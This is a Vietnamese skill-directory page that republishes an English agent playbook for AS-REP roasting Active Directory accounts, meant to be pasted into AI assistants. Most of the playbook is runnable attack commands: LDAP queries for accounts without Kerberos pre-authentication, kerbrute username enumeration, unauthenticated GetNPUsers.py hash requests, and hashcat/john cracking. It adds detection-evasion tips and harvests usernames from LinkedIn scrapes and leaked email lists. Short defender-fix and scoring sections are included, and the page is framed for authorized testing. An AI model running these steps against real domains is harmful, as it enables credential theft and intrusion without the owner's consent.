asrep-roasting
Skill này làm gì
Skill này giải thích cách tìm các tài khoản người dùng trong miền không yêu cầu xác thực trước (pre-authentication) và cách kiểm tra chúng ngoại tuyến. Skill dành cho nhân viên bảo mật được phép kiểm toán miền Windows.
Khi nào nên dùng
- ✓Khi người kiểm thử bảo mật muốn tìm các tài khoản miền không yêu cầu xác thực trước Kerberos.
- ✓Khi agent cần kiểm tra xem bộ điều khiển miền có trả về dữ liệu đăng nhập cho những tài khoản đó không.
- ✓Khi một báo cáo cần giải thích rủi ro của mật khẩu yếu trên các tài khoản như vậy.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể tìm giúp các tài khoản trong miền kiểm thử được ủy quyền của chúng tôi mà không yêu cầu xác thực trước Kerberos không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent tìm các tài khoản phù hợp bằng truy vấn thư mục hoặc đồ thị bảo mật, rồi chạy công cụ yêu cầu và ghi lại kết quả để kiểm tra ngoại tuyến.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
AS-REP Roasting Playbook
Prerequisite
None — no valid domain account needed. Network reachability to a DC on TCP/UDP 88 is enough. This makes AS-REP roast more powerful than kerberoast in some engagements (zero-auth pre-recon win).
1. Identify vulnerable users
In a hosted engagement, inspect the authorized collection through
bloodhound_mcp_find_objects and bloodhound_mcp_object_profile, or use a
bounded read-only bloodhound_mcp_cypher_query when the semantic tools do not
expose the required account flag. Confirm collection coverage first. In
standalone OSS, use the registered bhce_cypher tool against that instance.
Direct LDAP (if you have any cred or anonymous-bind allowed):
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'DC=corp,DC=local' \
'(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
sAMAccountName
Or brute-force user discovery (only when no LDAP access):
# Username list from OSINT, kerbrute validates which exist
kerbrute userenum --dc DC_IP -d DOM users.txt
2. Request AS-REP
Impacket (zero-auth path):
GetNPUsers.py DOM/ -dc-ip DC_IP -usersfile /tmp/users.txt \
-format hashcat -no-pass -outputfile /tmp/asrep.hashes
With creds (more reliable, also enum):
GetNPUsers.py DOM/USER:'PASS' -dc-ip DC_IP -request \
-format hashcat -outputfile /tmp/asrep.hashes
Output format: $krb5asrep$23$USER@DOM:<ciphertext> (RC4).
3. Crack offline (hashcat mode 18200)
hashcat -m 18200 -a 0 /tmp/asrep.hashes /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# John alternative
john --wordlist=rockyou.txt --format=krb5asrep /tmp/asrep.hashes
AS-REP-roastable users tend to be:
- Legacy service accounts (sysadmin set DONT_REQ_PREAUTH to "fix" a ticket issue in 2014, never reverted)
- Test / dev accounts with weak passwords
- Accounts created from a misconfigured PowerShell script
Crack rate is typically higher than kerberoast — these users are often forgotten accounts with weak passwords.
4. Userlist sources when zero-auth
Without LDAP, your userlist comes from:
kerbrute userenumagainst common lists (jsmith.txt, statistically-common-usernames)- LinkedIn scrape → format conversion (
firstname.lastname,flastname) - Github commit emails from company orgs
- Email leaks (HIBP, Dehashed if op-authorized)
- Subdomain enumeration → username patterns in metadata
5. Promote
kg_add_node(kind="credential", label="USER:CRACKED_PW",
props={"source":"asrep-roast","preauth":"disabled"})
OPSEC
- AS-REQ without pre-auth is event 4768 on the DC
- Defender's tell: 4768 with
Pre-Authentication Type=0(no preauth) - Username enum via kerbrute generates 4768 spam — throttle or accept detection if engagement allows
- A single AS-REP request per known user is quieter than enumeration
CVSS
- Multiple roastable + crackable:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H= 10.0 (PR:N because no creds needed) - One roastable, uncrackable: Informational + fix recommendation
Defender fix
Remove DONT_REQ_PREAUTH flag:
Set-ADAccountControl -Identity USER -DoesNotRequirePreAuth $false
Audit policy: UserAccountControl & 0x400000 should be zero on all real users.
Câu hỏi thường gặp
Skill này có cần đăng nhập vào miền không?
Skill cho biết có thể làm việc mà không cần tài khoản hợp lệ, nhưng cũng lưu ý rằng kiểm thử khi đã đăng nhập sẽ đáng tin cậy hơn.
Skill dựa vào đâu để tìm tài khoản?
Skill dùng truy vấn thư mục hoặc các công cụ phân tích BloodHound được mô tả trong hướng dẫn của nó.
Có an toàn để chạy trên mọi mạng không?
Không. Skill chỉ dành cho các mạng mà chủ sở hữu đã cho phép bạn kiểm thử.
Chi tiết
Mô tả gốc của tác giả
Request AS-REP for accounts with DONT_REQ_PREAUTH set and crack offline — like kerberoast but no auth required.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #13936
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.